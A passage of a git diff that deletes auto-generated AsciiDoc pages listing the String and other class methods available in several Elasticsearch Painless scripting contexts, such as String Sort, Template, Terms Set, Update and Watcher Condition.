-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-string-sort-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-string-sort-String, String>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.geo
-<<painless-api-reference-string-sort-org-elasticsearch-xpack-sql-expression-literal-geo, Expand details for org.elasticsearch.xpack.sql.expression.literal.geo>>
-
-* <<painless-api-reference-string-sort-GeoShape, GeoShape>>
-
-==== org.elasticsearch.xpack.sql.expression.literal.interval
-<<painless-api-reference-string-sort-org-elasticsearch-xpack-sql-expression-literal-interval, Expand details for org.elasticsearch.xpack.sql.expression.literal.interval>>
-
-* <<painless-api-reference-string-sort-IntervalDayTime, IntervalDayTime>>
-* <<painless-api-reference-string-sort-IntervalYearMonth, IntervalYearMonth>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-string-sort/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-string-sort/packages.asciidoc
deleted file mode 100644
index af4f941bedd..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-string-sort/packages.asciidoc
+++ /dev/null
@@ -1,91 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-string-sort-java-lang"]
-=== String Sort API for package java.lang
-See the <<painless-api-reference-string-sort, String Sort API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-string-sort-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
-[role="exclude",id="painless-api-reference-string-sort-org-elasticsearch-xpack-sql-expression-literal-geo"]
-=== String Sort API for package org.elasticsearch.xpack.sql.expression.literal.geo
-See the <<painless-api-reference-string-sort, String Sort API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-string-sort-GeoShape]]
-==== GeoShape
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-string-sort-org-elasticsearch-xpack-sql-expression-literal-interval"]
-=== String Sort API for package org.elasticsearch.xpack.sql.expression.literal.interval
-See the <<painless-api-reference-string-sort, String Sort API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-string-sort-IntervalDayTime]]
-==== IntervalDayTime
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-string-sort-IntervalYearMonth]]
-==== IntervalYearMonth
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* String {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-template/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-template/index.asciidoc
deleted file mode 100644
index b53ce4bfea8..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-template/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-template]]
-=== Template API
-
-The following specialized API is available in the Template context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-template-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-template-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-template/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-template/packages.asciidoc
deleted file mode 100644
index 4581bab8450..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-template/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-template-java-lang"]
-=== Template API for package java.lang
-See the <<painless-api-reference-template, Template API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-template-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-terms-set/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-terms-set/index.asciidoc
deleted file mode 100644
index 3ed5661d910..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-terms-set/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-terms-set]]
-=== Terms Set API
-
-The following specialized API is available in the Terms Set context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-terms-set-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-terms-set-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-terms-set/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-terms-set/packages.asciidoc
deleted file mode 100644
index 65c8db7af8c..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-terms-set/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-terms-set-java-lang"]
-=== Terms Set API for package java.lang
-See the <<painless-api-reference-terms-set, Terms Set API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-terms-set-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-update/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-update/index.asciidoc
deleted file mode 100644
index 139ab5d4984..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-update/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-update]]
-=== Update API
-
-The following specialized API is available in the Update context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-update-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-update-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-update/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-update/packages.asciidoc
deleted file mode 100644
index fa4874dc262..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-update/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-update-java-lang"]
-=== Update API for package java.lang
-See the <<painless-api-reference-update, Update API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-update-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String)[indexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#indexOf(java.lang.String,int)[indexOf](String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#isEmpty()[isEmpty]()
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String)[lastIndexOf](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#lastIndexOf(java.lang.String,int)[lastIndexOf](String, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/String.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(int,java.lang.String,int,int)[regionMatches](int, String, int, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#regionMatches(boolean,int,java.lang.String,int,int)[regionMatches](boolean, int, String, int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#replace(java.lang.CharSequence,java.lang.CharSequence)[replace](CharSequence, CharSequence)
-* String replaceAll(Pattern, Function)
-* String replaceFirst(Pattern, Function)
-* String[] splitOnToken(String)
-* String[] splitOnToken(String, int)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String)[startsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#startsWith(java.lang.String,int)[startsWith](String, int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int)[substring](int)
-* String {java11-javadoc}/java.base/java/lang/String.html#substring(int,int)[substring](int, int)
-* char[] {java11-javadoc}/java.base/java/lang/String.html#toCharArray()[toCharArray]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase()[toLowerCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toLowerCase(java.util.Locale)[toLowerCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase()[toUpperCase]()
-* String {java11-javadoc}/java.base/java/lang/String.html#toUpperCase(java.util.Locale)[toUpperCase](Locale)
-* String {java11-javadoc}/java.base/java/lang/String.html#trim()[trim]()
-
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-watcher-condition/index.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-watcher-condition/index.asciidoc
deleted file mode 100644
index ab62b04bb9d..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-watcher-condition/index.asciidoc
+++ /dev/null
@@ -1,20 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-[[painless-api-reference-watcher-condition]]
-=== Watcher Condition API
-
-The following specialized API is available in the Watcher Condition context.
-
-* See the <<painless-api-reference-shared, Shared API>> for further API available in all contexts.
-
-==== Classes By Package
-The following classes are available grouped by their respective packages. Click on a class to view details about the available methods and fields.
-
-
-==== java.lang
-<<painless-api-reference-watcher-condition-java-lang, Expand details for java.lang>>
-
-* <<painless-api-reference-watcher-condition-String, String>>
-
-include::packages.asciidoc[]
-
diff --git a/docs/painless/painless-api-reference/painless-api-reference-watcher-condition/packages.asciidoc b/docs/painless/painless-api-reference/painless-api-reference-watcher-condition/packages.asciidoc
deleted file mode 100644
index 91df00b419f..00000000000
--- a/docs/painless/painless-api-reference/painless-api-reference-watcher-condition/packages.asciidoc
+++ /dev/null
@@ -1,62 +0,0 @@
-// This file is auto-generated. Do not edit.
-
-
-[role="exclude",id="painless-api-reference-watcher-condition-java-lang"]
-=== Watcher Condition API for package java.lang
-See the <<painless-api-reference-watcher-condition, Watcher Condition API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-watcher-condition-String]]
-==== String
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D)[copyValueOf](char[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#copyValueOf(char%5B%5D,int,int)[copyValueOf](char[], int, int)
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.lang.String,java.lang.Object%5B%5D)[format](String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#format(java.util.Locale,java.lang.String,java.lang.Object%5B%5D)[format](Locale, String, def[])
-* static String {java11-javadoc}/java.base/java/lang/String.html#join(java.lang.CharSequence,java.lang.Iterable)[join](CharSequence, Iterable)
-* static String {java11-javadoc}/java.base/java/lang/String.html#valueOf(java.lang.Object)[valueOf](def)
-* {java11-javadoc}/java.base/java/lang/String.html#<init>()[String]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/String.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/String.html#compareTo(java.lang.String)[compareTo](String)
-* int {java11-javadoc}/java.base/java/lang/String.html#compareToIgnoreCase(java.lang.String)[compareToIgnoreCase](String)
-* String {java11-javadoc}/java.base/java/lang/String.html#concat(java.lang.String)[concat](String)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contains(java.lang.CharSequence)[contains](CharSequence)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#contentEquals(java.lang.CharSequence)[contentEquals](CharSequence)
-* String decodeBase64()
-* String encodeBase64()
-* boolean {java11-javadoc}/java.base/java/lang/String.html#endsWith(java.lang.String)[endsWith](String)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* boolean {java11-javadoc}/java.base/java/lang/String.html#equalsIgnoreCase(java.lang.String)[equalsIgnoreCase](String)
-* void {java11-javadoc}/java.base/java/lang/String.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
